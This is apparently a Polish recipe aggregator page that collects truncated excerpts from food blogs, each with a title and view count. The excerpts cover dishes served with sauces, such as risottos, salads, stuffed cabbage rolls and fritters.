już nie musiałam dodawać żadnych przypraw. Najlepsze jest to, że wkładamy je do piekarnika i same się pieką. Możemy je podać jako dodatek do obiadu lub jako przekąskę z sosem czosnkowym lub ketchupem. Składniki: 0,5 kg ziemniaków(obranych) przyprawa Przekąska  Kibica Kamis olej Przygotowanie: Ziemniaki obrać z skórki, umyć i pokroić w cieniutkie plasterki. Przełożyć do naczynia posypać

Ala piecze i gotuje
Dorsz na szpinaku 232

masło dodać szpinak i podsmażać do odparowania płynu. Pod koniec dodać rozgnieciony czosnek, ser z niebieską pleśnią i podlać kremówką. Podsmażać  do rozpuszczenia się sera i zagęszczenia się sosu. Doprawić solą i pieprzem. Na talerz wyłożyć porcję szpinaku i kawałki dorsza. Udekorować kilkoma wiórkami skórki z cytryny.   Firmie Kamis bardzo dziękuję za pachnącą i aromatyczną paczkę z przyprawami

Ala piecze i gotuje
Francuskie paluszki 227

chrupiące paluszki z ciasta francuskiego mogą być idealną przekąską nie tylko na sylwestrowy wieczór. Możemy je zrobić bardzo szybko nawet jak goście już w progu. Jako dodatek świetnie pasuje sos czosnkowy lub ketchup. Składniki: ciasto francuskie  żółty ser szynka sezam Kresto masło do posmarowania Przygotowanie: Ciasto francuskie rozwinąć pokroić wzdłuż krótszego boku na paski około 5cm. Na połowie paska

Ala piecze i gotuje
Pierś z kurczaka grillowana 238

marynowałam przez całą noc w marynacie. Podałam z ziemniakami zapiekanymi klik oraz fasolką szparagową z ogórkami. Było smacznie. Składniki: 3 piersi z kurczaka Marynata: 5 łyżek oleju 1 łyżeczka sosu sojowego 1 łyżeczka octu balsamicznego z modeny Kamis 0,5 łyżeczki suszonych pomidorów z czosnkiem i bazylią Kamis 0,5 łyżeczki soli morskiej ziołowej Kamis 1/4 łyżeczki pieprzu kolorowego Kamis

Ala piecze i gotuje
Zapiekanka z bułki 311

zrobić na kolację. Tym razem zrobiłam zapiekankę z bułki kanapkowej do której wykorzystałam kiełbasę krakowską z linii Nove -Natura. Bardzo nam smakowała zapiekanka i na pewno powtórzę. Podałam z sosem czosnkowy, pycha. Pomysł klik . Składniki: bułka kanapkowa żółty ser w plasterkach kiełbasa krakowska z linii Nove -Natura pomidory 100 ml kremówki 100 g żółtego sera (na górę) 3 jajka

Ala piecze i gotuje
Spaghetti z truskawkami 202

lekko osolonej wodzie na pół miękko. Przelać na sitko i odcedzić, przełożyć do naczynia dodać połowę zmiksowanych truskawek i wymieszać. Nakładać porcje makaronu na talerz i polać pozostałym sosem truskawkowym i udekorować kawałkami truskawek

Ala piecze i gotuje
Lekkie gołąbki z młodej kapusty 283

Troszkę odchudziłam tradycyjne gołąbki, zamieniłam na lżejsze mięso karkówkę oraz biały ryż na brązowy. I podałam bez żadnych ciężkich sosów. Bardzo nam smakowały. To dobry pomysł na dietetyczny obiad. Polecam spróbować tej wersji! Składniki : * główka młodej kapusty * dwa podwójne filety z kurczaka * 2 woreczki brązowego ryżu * cebula * sól, świeżo mielony pieprz, ulubione zioła Przygotowanie : Kapustę sparzyć. Mięso zmielić, dodać

Magiczne Życie Marty
Naleśniki kakaowe z twarożkiem i poziomkami 302

sprawię Mu radochę pachnącymi poziomkami, w końcu znamy się dobrze ponad pół naszego życia. Zobacz też przepis na Naleśniki z serem po żydowsku i Naleśniki z owocami o sosem karmelowym ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Galaretka drobiowa - Auszpik 654

minimum 2h. Gotowe galaretki układamy na paterze z przystrojenie wedle uznania - na sałacie lub z ogórkiem, ... Niektórzy do galaretki używają do skropienia octu, niektórzy co mi również zasmakowało sosu sojowego jeśli podajecie ocet to nie zapomnijcie o kawałku listka pietruszki który trzeba do wrzucić do octu. Smacznego

Mechanik w kuchni
Wiosenna z makaronem ryżowym 375

ogórek kroję w kosteczkę i dodaję do makaronu i mieszam. Olej, musztardę i sok z cytryny dokładnie mieszam. Dodaję starty czosnek, zioła i po szczypcie soli i cukru. Gotowym sosem polewam sałatkę i dekoruję. Naprawdę szybka i smaczna sałatka. Smacznego

Mechanik w kuchni
Sałatka z tortellini 404

foto)), ogórek obieram i kroję w kawałki. Koperek trzeba drobno posiekać a jajka w kosteczkę (ok 1x1 cm). Czosnek ścieram na tarce na drobnych oczkach (więcej na ten temat : sos czosnkowy ) i mieszam z 2 łyżkami majonezu i 3 łyżkami jogurtu. Kukurydzę odsączam. Wszystkie składniki daję do 1 większej misy i dokładnie mieszam. Doprawiam tylko solą i pieprzem. Smacznego

Mechanik w kuchni
Zapiekane brokuły z makaronem i kurczakiem 250

zmniejszyć odrobinę ilość wody - sprawdzone. Formę do zapiekania smaruję masłem i kolejno jak na zdjęciach poniżej, najpierw makaron później pierś z kurczaka, następnie układam różyczki brokuła. Wszystko przelewam przygotowanym sosem Kamisa i całość posypuję serem mozzarella. Zapiekam 30 minut w temperaturze 200 oC. Rada :  Na pierwsze 15 minut zapiekania najlepiej przykryć formę folią aluminiową na drugie 15 minut zdjąć

Mechanik w kuchni
Sałatka z selera naciowego z curry 4114

selera również w 0,5 cm talaki ( łodygi selera wybieram zawsze od środka aby uniknąć tych nieco bardziej włóknistych z zewnątrz). Wszystko to wstępnie mieszam w misce. Osobno przygotowuję sos, jogurt, majonez, curry i odrobina soli mieszam razem po czym wlewam do misy z resztą składników i mieszam. Warto tą sałatkę przygotować nieco wcześniej, wszystko ładnie się wtedy "przegryzie

Mechanik w kuchni
Drobiowe roladki w boczku 4174

pół godz. paseczki filetu przycinam +/- do wysokości boczku i zawijam dobrze zaciągając i łączę całość wykałaczką wbijając ją skośnie. Grilluję ok pół godzinki na średnim żarze. Wyśmienicie smakują z sosem czosnkowym . Jeść tylko i wyłącznie palcami

Mechanik grilluje
Pasztet z drobiowych wątróbek 214

Można go zwyczajnie rozsmarować na chlebie, ale ja polecam podać go w bardziej elegancki i wykwintny sposób pokrojony w plastry. Pasztet z drobiowych wątróbek z żurawiną możemy podać z sosem z borówek i lampką białego wytrawnego wina. Smacznego! The post Pasztet z drobiowych wątróbek appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Tarta ze szparagami 171

cały świat wokół się nich kręci, tzn. cała kuchnia Zachwycamy się zielonymi szparagami bo warto, są delikatne, nie wymagają obierania, można jej jeść na surowo. Po przepysznych Szparagach z sosem holenderskim i wspaniałej kremowej zupie z białych szparagów, którą przygotował Piotr postanowiłam przygotować tartę ze szparagami na cieście francuskim, smaczną, kolorową, przyciągającą wzrok. Właściwie to Bartek U. natchnął mnie

Damsko-męskie spojrzenie na kuchnię
Kremowa zupa szparagowa 183

Idealna, aksamitna kremowa zupa szparagowa. Polecam. Polecam też inne pomysły na szparagi: Kremowa zupa szparagowa z serem Zupa szparagowa krem Szparagi zawijane w boczek (roladki ze szparagami) Szparagi z sosem holenderskim Składniki: pęczek białych szparagów łepki zielonych szparagów ½ litra bulionu warzywnego 2 czubate łyżki gęstej śmietany kremowej sól morska biały pieprz gałka muszkatałowa Przygotowanie: Szparagi cienko obieramy obierakiem do warzyw

Damsko-męskie spojrzenie na kuchnię
Owsiane babeczki z żurawiną 213

Przygotowałam babeczki, bardzo zdrowe babeczki. Jest to nowy, autorski przepis wykorzystujący płatki owsiane, żurawinę i miód, oraz ubite białka, które zostały mi po wykorzystaniu żółtek do sosu holenderskiego . Przepis powstał na potrzeby chwili. Wybierałam się do mojego syna więc musiałam się szybko uwinąć z pieczeniem tym babeczek. Wyszły idealne. Ciasto z tego przepisu jest wybawieniem dla niespodziewanych zachcianek, czy też

Damsko-męskie spojrzenie na kuchnię
Kremowa zupa szparagowa z pestkami dyni 218

wpisane w tradycję kuchni wielkopolskiej i zawsze bardzo nam smakują. Polecam Wam ten przepis na pyszną sezonową kremową zupę szparagową. Możecie też przygotować szparagi w inny sposób: Szparagi z sosem holenderskim Szparagi zawijane w boczek (roladki ze szparagami) Jaglane muffiny ze szparagami i szynką Kremowa zupa szparagowa Tarta ze szparagami Kremowa zupa szparagowa z serem Kremowa zupa szparagowa z pestkami

Damsko-męskie spojrzenie na kuchnię
Ser smażony z kminkiem 284

często go robiła, właściwie zawsze gdy byłam u niej to ten ser był. Wspominając kuchnię babci Tosi to właściwie zawsze mam na myśli ser smażony, ruskie pierogi, królika w sosie słodko-kwaśnym i najpyszniejsze gołąbki z ryżem i boczkiem, których do tej pory nie potrafię odtworzyć. W innych rejonach Polski ser smażony również jest znany, ale jednak

Damsko-męskie spojrzenie na kuchnię
Zupa pomidorowa ze świeżych pomidorów 371

stole musi rosół. A gdy w niedzielę mamy na obiad rosół, to wiadomo że w poniedziałek na 100% będzie zupa pomidorowa Rosół do idealna baza do zup, czy też sosów. Często go mrożę, aby potem szybko na jego bazie coś przygotować. Była więc na obiad zupa pomidorowa. Tym razem nie klasyczna pomidorówka z koncentratu, czy passaty, a zupa pomidorowa

Damsko-męskie spojrzenie na kuchnię
Gołąbki z kaszą jaglaną, pieczarkami, marchewką na oleju rzepakowym 250

kuchni! Gołąbki z kaszą jaglaną, pieczarkami, marchewką na oleju rzepakowym były bardzo smaczne, a to że zdrowe, chyba nie ma nikt wątpliwości! Polecam też gołąbki z kurkami Gołąbki w sosie pomidorowym Przepis na gołąbki bez zawijania Gołąbki z ryżem basmati i mięsem SKŁADNIKI: 20 dag pieczarek 2 marchewki 2/3 szklanki kaszy jaglanej 1 cebula 150 ml rosołu 8 liści młodej

Damsko-męskie spojrzenie na kuchnię
Kotlety kurczaka z nadzieniem kurkowym 305

cebulką, nie ma nic smaczniejszego niż czerwcowe kurki. Danie wyszło wyśmienite. Inne propozycje z kurkami: Kurki marynowane w delikatnej zalewie octowej Tartaletki z grzybami (kurki) Gołąbki z kurkami w sosie śmietankowo-koperkowym Zupa kurkowa po tajsku Zupa z kurek z karmelizowanym porem Pizza mini z kurkami Gołąbki z ryżem i kurkami Kotlety kurczaka z nadzieniem kurkowym były mega smaczne

Damsko-męskie spojrzenie na kuchnię
Mielone z kaszy jaglanej z żółtym serem i prażoną cebulką na oleju rzepakowym 248

inne moje przepisy: Krokiety z kaszy gryczanej ; Krokiety ziemniaczane (Panzerotti neapolitańskie) ; Krokiety z kapustą i grzybami ; Kotlety ziemniaczane faszerowane mięsem ; Kotlety z jajek (kotlety jajeczne) ; Kotlety ziemniaczane z sosem grzybowym ; Krokiety o smaku ruskich pierogów Mielone z kaszy jaglanej z żółtym serem i prażoną cebulką smażyłam na oleju rzepakowym, gdyż olej rzepakowy jest naturalnym źródłem kwasów omega- 3 i dlatego

Damsko-męskie spojrzenie na kuchnię
Truskawkowy crumble z orzechami – murowany sukces 229

rabarbar nie lubimy się zbytnio, wiec użyłam samych truskawek, a do kruszonki dodałam zmielone orzechy laskowe. Deser wyszedł super truper! Dla mnie najlepszy na ciepło. Z reguły dodaję jeszcze sos waniliowy, ale tym razem nie zrobiłam bo chęć spałaszowania truskawek wzięła górę)) Tym słodkim akcentem dołączam do Durszlakowej akcji “Ramekin”. Polecam bardzo

Mia Cucina Sofieta
Wytrawna bruschetta ze swieżymi figami i serem 207

Figi jedzone na surowo po prostu się myje, kroi na polówki, ćwiartki czy ósemki i podaje z czym kto ma pod ręką. Świetnie współgrają z serami, orzechami czy miodowym sosem. Dziś wybrałam szybką przekąskę na słono. Nic szczególnego, bo tylko wczorajsza bułka (nic się nie marnuje), ser żółty, figi, szynka parmeńska pokrojona na julienne, trochę tymianku cytrynowego, a na koniec

Mia Cucina Sofieta
Powiedz mi co/jak jesz, a powiem Ci kim jesteś 203

sycące i lekkie. Pracę mam biurową, więc nie muszę dostarczać organizmowi zbyt wiele kalorii, tylko tyle żeby “wytrzymać” do obiadu tj. do13.00-tej. Około 13.00 szybki obiad: makaron z dobrym sosem ( click ), np bolońskim, risotto. Jak mam ochotę na mięsko, to jadam je w towarzystwie warzyw. Staram się aby było lekko, ponieważ obfity obiad równa się ospałości w pracy!! Godzina

Mia Cucina Sofieta
Szukamy alternatywy dla mąki pszennej! 214

stanowi idealną alternatywę dla tradycyjnej mąki w słodkich wypiekach. Nada się idealnie do stworzenia tortów, ciast, ciasteczek. Może posłużyć jako dekoracja deserów i posypka sałatek. Perfekcyjna do zup i sosów. Mąkę migdałową można zastosować jako dodatek do naleśników i panierkę. Może również być wykorzystana do stworzenia mleka migdałowego - wystarczy połączyć kilka łyżek mąki migdałowej z wodą źródlaną i syropem

Mia Cucina Sofieta
Risotto z kwiatami cukini 251

Zapraszam serdecznie.) Risotto z kwiatami cukini Składniki na 4 osoby: - 4 małe cukinie z kwiatami - 10 kwiatów cukini - 300 g ryżu , mój vialone Nano, musi być taki żeby wchłaniał sos i sie nie zlepiał. - 4 łyżki oleju rzepakowego - 1 cebula - 3/4 szklanki białego wytrawnego wina, - 150 g chudej, surowej wędzonki pokrojonej w drobną kosteczkę, - ok ¾ litra wywaru warzywnego z kostki

Mia Cucina Sofieta
Babeczki limonkowe na mące ryżowej 197

makaronie i ciastach- nie wiedziałam 4.    Można przygotować chleb, chociaż za bardzo nie urośnie, głównie z braku glutenu- nie wiedziałam 5.    Doskonała do zagęszczania sosów, w tym beszamelowych i  kremów-domyślałam się 6.    Doskonale nadaje się do panierowania, a następnie smażenia( nawet w głębokim tłuszczu),  ponieważ prawie nie wchłania tluszczu. Zyskuje

Mia Cucina Sofieta
Bardzo kremowe risotto z owocami morza 187

osoby: 600 g owoców morza:  mątwy , kałamarnice i ośmiornice   (pokrojone w paseczki),  krewetki 300 g ryżu , mój vialone Nano, musi być taki żeby wchłaniał sos i sie nie zlepiał. 3 łyżki oleju, ½ cebuli 1 ząbek czosnku( pominęłam) 3/4 szklanki białeg,o półwytrawnego wina( u mnie wino Celebro – białe hiszpańskie) 2 łyżki przecieru pomidorowego, ok ¾ litra wywaru

Mia Cucina Sofieta
Pomarańczowe risotto z żurawiną 234

romantyczną kolację. Zapraszam na pyszne, lekkie i bardzo eleganckie risotto o pomarańczowej nucie. Pomarańczowe risotto z żurawiną Składniki na 2 osoby: 180 g ryżu ( musi być taki żeby wchłaniał sos i sie nie zlepiał). 3 łyżki oliwy, ½ cebuli 3/4 szklanki białego półwytrawnego wina 1 pomarańcza naturalna, 2 mandarynki, ok ¾ litra wywaru warzywnego z kostki( lub w ostateczności gorąca woda

Mia Cucina Sofieta
Zakręcona focaccia z nitką oleju rzepakowego 237

dodatkiem semoliny. Takie ciasto sie nie klei i nie jest gumowate.   Dziś zapraszam na zakręconą focaccię. Może wygląda bardziej jak pizza, ale jest bez sera mozzarella i sosu pomidorowego, więc zostańmy przy nazwie focaccia. Muszę przyznać, że zakręcone ciasto drożdżowe wygląda bardzo efektownie, a pomidorki i oliwki nadają mu specyficznego uroku i podkreślają jego prostotę. Całość dopełniają świeże listki

Mia Cucina Sofieta
5. Kokosowe love! 247

natomiast z dodatkiem mascarpone lub białej czekolady wykorzystać jako polewy, kremy, nadzienia do muffinów, pralinek. Warto je wypróbować także jako dodatek do dań orientalnych. Dodając jogurt możemy użyć jako sos do owoców lub zjeść z płatkami, czy musli. To krem, który daje mnóstwo możliwości w łączeniu smaków.  Składniki: ok. 400 g wiórków kokosowych (może być mniej, lub więcej- mój

Symfonia Smaków
48.Wiosna na talerzu: czyli pieczone młode ziemniaczki w mundurkach nadziewane pikantym farszem z ciecierzycy! 227

natka pietruszki i świeży cząber. Ziemniaczki upiekłyśmy w formie obranej oraz w mundurach i możemy spokojnie powiedzieć, że obydwie wersje są bardzo smaczne i chrupiące! Ziemniaczki idealnie smakują z sosem - np. czosnkowym albo jogurtowym lub z kleksem kwaśnej śmietany. Możne ja traktować jako przystawkę lub przekąskę, idealnie spełniłyby się na spotkaniu na świeżym powietrzu np. na działce, na grillu

Symfonia Smaków
57.Słonecznie i lekko: czyli wytrawne ciasto z fasoli w nieco pikantnej wersji! 249

ciasta, którą to również oprószamy świeżo zmielonym pieprzem i zapiekamy je jeszcze 10 minut w temperaturze190*C. Przed podaniem ciasto przyozdabiamy świeżą natką lub kolendrą. Idealnym połączeniem byłby również sos czosnkowy lub inny ulubiony dip. Smacznego! (: W przepisie została wykorzystana biała fasola firmy Lestello - serdecznie polecamy! (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return

Symfonia Smaków
Ślimaczki z tortilli 227

Jeśli lubicie kebaby, to na pewno posmakuje Wam także to danie;) Jest o wiele zdrowsze i mniej kaloryczne, bez gęstego, tłustego sosu. Do tego idealne na jeden kęs. Świetnie sprawdzi się podczas spotkania ze znajomymi. Ja podałam je z dipem czosnkowym Prymat. Tortille: 350g mąki pszennej, łyżeczka czosnku granulowanego, ok. 1 szklanki przegotowanej zimnej wody. Mąkę przesiać, dodać czosnek, stale

Z miłości do słodkości
Roladki z kurczaka ze śliwkami opasane boczkiem 220

zwinąć. Roladkę opasać plasterkiem boczku, spiąć wykałaczką. Obsmażyć ze wszystkich stron na złoty kolor. Następnie zalać śmietanką i dusić ok. 8 minut na małym ogniu.  Podawać z wytworzonym sosem oraz pieczonymi ziemniakami.                                  Smacznego:) Przepis dodaję do akcji

Z miłości do słodkości
Oszukane gołąbki 226

Następnie przełożyć do garnka, zalać gorącą wodą tak, by były całe przykryte. Dusić ok. 20 min na małym ogniu.  Po tym czasie gołąbki wyjąć a do powstałego sosu dodać przecier pomidorowy oraz mąkę rozrobioną ze śmietaną. Zagotować. Doprawić do smaku

Z miłości do słodkości
Mielone zraziki 300

szkl. wody. Dodać pokrojoną w kostkę resztę cebuli, resztę boczku pokrojonego w kostkę i ogórki. Wkruszyć suszone grzyby.  Dusić ok. 15 minut na małym ogniu. Wyjąć zrazy, zaciągnąć sos wodą rozrobioną z mąką.                                       Smacznego

Z miłości do słodkości
Tarta z kiełbasą 271

kostkę. Na cieście układać na przemian, grzyby z cebulą, kiełbasę pokrojoną w półplasterki i paprykę. Posypać odsączoną kukurydzą. Śmietanę połączyć z rozkłóconymi jajkami, doprawić solą, pieprzem i ziołami prowansalskimi. Sosem polać tartę.  Piec ok. 35-40minut w temp. 190st

Z miłości do słodkości
Tradycyjne zrazy wołowe 242

kolor. Następnie zalać wodą tak, by całe mięso było zakryte i dusić na małym ogniu pod przykryciem przez około 80minut, w razie potrzeby dolewając wody. Następnie wyjąć zrazy, doprawić sos, można zaciągnąć łyżeczką mąki rozrobioną z odrobiną wody

Z miłości do słodkości
Fasolka szparagowa z orzechami włoskimi 277

Dressing:  łyżka octu balsamicznego,  łyżeczka musztardy Dijon (użyłam Kamis),  2 łyżeczki oleju z pestek winogron,  sól morska z pieprzem (użyłam Kamis).   Wszystkie składniki sosu dokładnie połączyć. Sałatkę ułożyć na talerzu, polać przygotowanym dressingiem

Z miłości do słodkości
Zbiór deserów i ciast na zimno z truskawkami 297

białą czekoladą      Grysikowe z kremem czekoladowym i truskawkami       Jogurt z truskawkami i otrębami     Deser lodowy z czekoladą i sosem owocowym    Deser kokosowy z truskawkami A już jutro zbiór przepisów na ciasta z truskawkami

Z miłości do słodkości
SZASZLYKI Z RYBY 216

patelnie grillowa. Zarowno tacki aluminiowe jak i patelnie smarujemy odrobina oleju. Rybe grillujemy po okolo 3 minuty z kazdej strony. Szaszlyki doskonale pasuja do pieczonych ziemniakow i sosu czosnkowego. Smacznego

Przysmaki Karolki
Placuszki serowe z ziolami 197

smak camemberta, sa tez lekko lejace gdy podamy je zaraz po usmazeniu. Zas dodatek ziol sprawia, ze placuszki nabieraja naszego ulubionego aromatu. Najlepiej smakuja w towarzystwie bukietu salat z sosem winegret i dobrego, czerwonego wina. skladniki: 200 g camemberta 300 g twarozku smietankowego 1 szalotka 1 jajko 50 g maki ziemniaczanej 2 lyzki posiekanych ziol sol, bialy pieprz wykonanie: Camembert

Przysmaki Karolki
Kurczak w cytrynowo-orzechowej skorupce 181

przygotowanego kurczaka wkladamy do natluszczonego naczynia zaroodpornego i pieczemy przez okolo 20 minut w nagrzanym piekarniku do 190-200°C. Po wyciagnieciu mieso ukladamy na talerzu, a do sosu jaki powstal w trakcie pieczenia dodajemy sok z cytryny. Dokladnie mieszamy i polewamy nim mieso. Smacznego

Przysmaki Karolki
Szagowki 342

Gotujemy w osolonym wrzatku do czasu gdy wyplyna na powierzchnie. Mozliwosci podania szagowek jest kilka: moga byc ze stopionym maslem i posypane cukrem, mozna tez podac je ze sosem i burakami. Jesli zostaja nam do nastepnego dnia to mozna je podsmazyc na patelni z cebulka i boczkiem. Smacznego

Przysmaki Karolki
Tarta cebulowa 233

margines. Na srodek wykladamy przyprawiona cebule. Posypujemy tartym serem. Pieczemy w nagrzanym piekarniku do 200°C przez okolo 15 minut. Tarta bardzo dobrze smakuje z dodatkiem salaty z sosem vinegret. Smacznego

Przysmaki Karolki
Szaszlyki w pomaranczowej marynacie 198

bedzie mialo ciekawy smak. skladniki: 4 piersi z kurczaka male cebulki (okolo 32 sztuki lub kilka wiekszych) 1 lyzka kurkumy skladniki na marynate: 2 lyzki plynnego miodu 2 lyzki sosu sojowego 2 lyzki soku z pomaranczy miazsz z 1 pomaranczy 2 lyzki oleju odrobina curry wykonanie: Cebule obrac i podgotowac w osolonej wodzie z dodatkiem kurkumy przez okolo 10 minut

Przysmaki Karolki
Na spotkanie z wiosna 231

Rozowego grejfruta obieramy ze skory i blonki, dzielimy na kawalki i ukladamy go na rukwi. Na koniec dodajemy kilka kulek mocarelli mini. Calosc posypujemy swiezo zmielonym czarnym pieprzem. Polewamy sosem z 1 lyzki octu balsamicznego, 1 malej lyzeczki miodu, 2 lyzek oliwy z oliwek, doprawiamy sola do smaku. Smacznego

Przysmaki Karolki
Z tesknoty za pewnym ciastem 180

Kilka dni temu, gdy prezentowalam panna cotte ze sosem z truskawek , za sprawa komentarza Malgosi z bloga "Pieprz czy wanilia" , przypomnialam sobie o moim ulubionym ciescie z truskawkami. Co roku gdy mieszkalam jeszcze w Polsce moja Mama robila dla mnie to ciasto na imieniny. Ja zawsze sie martwilam, ze zabraknie truskawek, wszak imieniny mam na samym koncu truskawkowego sezonu. Mama

Przysmaki Karolki
Placuszki dobre na lato 219

masa jest za luzna dodajemy make. Lyzka nakladamy na patelnie male placuszki, ktore smazymy na dobrze rozgrzanym oleju z obu stron. Jako dodatek do placuszkow polecam kwasna smietane lub sos pomidorowy. Ja wykorzystalam ten przepis , dalam jedynie mniej czosnku. Smacznego

Przysmaki Karolki
Placuszki dyniowo-ziemniaczane 232

Dodajemy jajko, make i tymianek. Formujemy rekoma male placuszki i smazymy je na oliwie z obu stron na zloty kolor. Placuszki podajemy gdy sa jeszcze cieple. Najlepiej smakuja ze sosem pomidorowo-cebulowym albo z chutney'em cebulowym. Przepis zamieszczam w ramach "Ziemniaczanego sezonu 2009" zorganizowanego przez Olge Smile oraz "Festiwalu dyni" , ktorego gospodynia jest

Przysmaki Karolki
To juz dzis - Kuchnia na majowke 240

inne sprawdzone przepisy biorace udzial w konkursie znajda sie w dwoch ksiazkach "Kuchnia na majowke", ktore ukaza sie jako dodatek do Gazety Wyborczej dzis (28 kwietnia - miesa, przekaski, salatki, sosy) i jutro (29 kwietnia - ryby, warzywa, owoce, zupy, gulasze, desery i napoje) Zapraszam do lektury

Przysmaki Karolki
Makaron na lato 357

ciasta. Tym razem w piekarniku wyladowala blaszka z malymi i bardzo slodkimi pomidorkami koktajlowymi. Wlasnie dzis mialam na nie ochote. Po odpowiednim wysuszeniu dodalam je do makaronu z kremowym sosem z serka mascarpone. Ten przepis wpadl mi w oko juz w ubieglym roku, ale jak widac do tej pory nie znalazlam ani czasu, ani okazji by sie nim podzelic. Czynie

Przysmaki Karolki
Dyniowe szalenstwo 231

dodajemy jajko i make. Wszystko laczymy ze soba, a nastepnie lyzka nakladamy na patelnie male placuszki, ktore smazymy z obu stran az sie przyrumienia. Placuszki bardzo fajnie smakuja ze sosem tatarskim. Smacznego

Przysmaki Karolki
Zamiast sniezek klopsiki 190

platkach owsianych. Dla ulatwienia mozna zmoczyc dlonie przed kolejnym nabraniem masy. Smazymy na oliwie na zloty kolor z obu stron. Uwagi: Klopsiki doskonale smakuja z wyrazistymi surowkami i sosem grzybowym. Proponuje nie robic zbyt duzych klopsikow gdyz moga sie rozsypac w czasie smazenia. Mniejsze doskonale daja sie usmazyc i przelozyc na druga strone. Smacznego

Przysmaki Karolki
Chwila oddechu i przedswiateczny schab 291

migdalowymi. Wkladamy do piekarnika i dopiekamy. Schab przekladamy na platere, a wywar z pieczeni mieszamy z 1 lyzka konfitury i z kilkoma pokrojonymi suszonymi morelami. Powstanie w ten sposob sos, ktorym polewamy plastry schabu. Smacznego

Przysmaki Karolki
Myslac o wiosnie. Salatka. 236

myjemy, osuszamy i po oczyszczeniu kroimy w kostke. Doprawiamy papryka w proszku i tymiankiem. Podsmazamy na patelni. Solimy. Przekladamy do miski. Na koniec dodajemy prazone platki migdalowe. Skladniki na sos mieszamy ze soba, doprawiamy do smaku sola i pieprzem i zalewamy nim salatke. Delikatnie mieszamy. Czekamy jeszcze 15 minut by smaki sie polaczyly. Smacznego

Przysmaki Karolki
Gdy w ogrodzie kroluje cukinia 317

bazylie. doprawiamy sola, pieprzem i galka. Formujemy klopsiki (mi wyszlo 7 sztuk) i smazymy na mocno rozgrzanym oleju z obu strona na zloty kolor. Klopsiki podajemy z cytryna lub sosem na bazie jogurtu naturalnego. Smacznego

Przysmaki Karolki
Quiche w meskim stylu 214

skladnikow, ostatnia warstwa powinny byc baklazany. polewa: W rondelku rozpuszczamy maslo, dodajemy make i mieszamy do polaczenia sie skladnikow. Do zasmazki dodajemy podgrzane lekko mleko. Mieszamy do chwili gdy sos stanie sie jednolity i gesty. Sciagamy z ognia i dodajemy zoltko. Doprawiamy sola i pieprzem. Polewe rozprowadzamy na baklazanach. Calosc posypujemy tartym serem. Quiche pieczemy przez 40 minut w piekarniku

Przysmaki Karolki
Cukinia i feta 268

solona zaraz po starciu. Wszystkie skladniki dokladnie laczymy i za pomoca lyzki wykladamy na patelnie z rozgrzana oliwa male placuszki. Smazymy z obu stron na zloty kolor. Podajemy z sosem czosnkowym lub tzatziki. Smacznego

Przysmaki Karolki
Wspolne gotowanie :-) 182

pomidorki koktajlowe przekrojone na pol lub na cwiartki. Gotujemy przez 10 minut. Doprawiamy sola, pieprzem i cukrem. Dodajemy tymianek i odsaczonego tunczyka pokruszonego na kawalki. Gotowy makaron laczymy ze sosem, nakladamy na talerze. Mozemy dodac parmezan. Smacznego

Przysmaki Karolki
Rolada z indyka z orzechami 225

lekko zeszkli podlewamy miesa odrobina wody. Mieso dusiy na malym ogniu pod przykryciem okolo godziny. W razie potrzeby podlewamy woda. Podajemy na zimno lub na cieplo z uzyskanym sosem ze smazenia. Smacznego

Przysmaki Karolki
Ida goscie :-) 277

Pieczemy w nagrzanym wczesniej piekarniuku do 180°C przez 15 minut. Ciasto podajemy gdy jest jeszcze lekko cieple, a przed podaniem posypujemy je ciemnym kakao. Ja podalem je z sosem malinowym Smacznego

Przysmaki Karolki
Weekend pod znakiem czekolady 194

wykladamy papierem do pieczenia i napelniamy ciastem. Pieczemy 20 minut w dobrze nagrzanym piekarniku do 200°C. Po wystudzeniu dekorujemy gorzkim kakao. Brownies doskonale smakuje tez z lodami lub sosem z owocow lesnych. Smacznego

Przysmaki Karolki
Szparagowy sezon 132

robie, pozbawiam je rowniez stwardnialych koncowek. Szparagi gotujemy w osolonej wodzie przez 6 minut, nastepnie przelewamy zimna woda i odcedzamy. W czasie jak szparagi beda sie gotowac robimy sos. Maslo roztapiamy na patelni, dodajemy sok z cytryny i podgrzewamy az maslo sie spieni. Sciagamy z ognia.  Jajka na twargo kroimy na 4, a nastepnie rozgniatamy widelcem. Dodajemy

Przysmaki Karolki
Na Festiwal Dyni kopytka. 240

dodajemy mąkę pszenną. Z ciasta formujemy wałeczki i kroimy pod lekkim kątem ostrym nożem na 1,5 cm kawałki. Gotujemy w osolonym wrzątku. Ugotowane kopytka odcedzamy.   Podajemy ze sosem lub jak ja z podsmażonym boczkiem i tartym na listki parmezanem. Boczek wysmażyłam na patelni, odłożyłam na bok i po wystudzeniu pokruszyłam na skwarki. Na patelnie dodałam łyżkę masła

Przysmaki Karolki
Klopsiki inne niż zwykle 170

pozostałe masło (20g) i polewamy nim każdy z klopsików, posypujemy też pokruszonymi orzechami laskowymi. Pieczemy je w nagrzanym wcześniej piekarniku do 210°C przez 15-20 minut. Podajemy ze sosem pomidorowym lub sałatką z pomidorów i bazylii

Przysmaki Karolki
Norweskie ciasto z łososiem 216

tego konkursu, choć początkowo trudno było mi się zdecydować na konkursowy przepis. W między czasie wykorzystałam otrzymane oleje jako marynatę do mięs czy też do smażenia poszczególnych składników ulubionych sosów. Ostatecznie pod nóż poszedł łosoś. To niesamowita ryba dająca się przyrządzić na wiele sposobów. Wszystko zależy od naszej niczym nieograniczonej wyobraźni. Tym sposobem i łosoś i olej stały się podstawą

Przysmaki Karolki
Obiad na szybko 339

posiekaną cebulę i boczek wędzony pokrojony w cieńkie paseczki. Do dobrze wysmażonego boczki dodajemy groszek i dusimy jeszcze 5 minut. Dolewamy śmietanę, doprowadzamy do wrzenia. Doprawiamy pieprzem. Do gotowego sosu dodajemy makaron. Po wymieszaniu nakładamy na talerz

Przysmaki Karolki
Zapraszam na deser 314

jogurtu dodajemy wanilie oraz miód. Ilość łyżeczek miodu zależy od tego jaki słodki ma być. W blenderze miksujemy obrane i umyte wcześniej truskawki z dodatkiem 1 łyżki miodu. Przygotowany sos truskawkowy i jogurt nakładamy do szklaneczek naprzemiennie. Dekorujemy truskawkami i ewentualnie listkami mięty. Przechowujemy w lodowce

Przysmaki Karolki
Kanapki z truskawkami 213

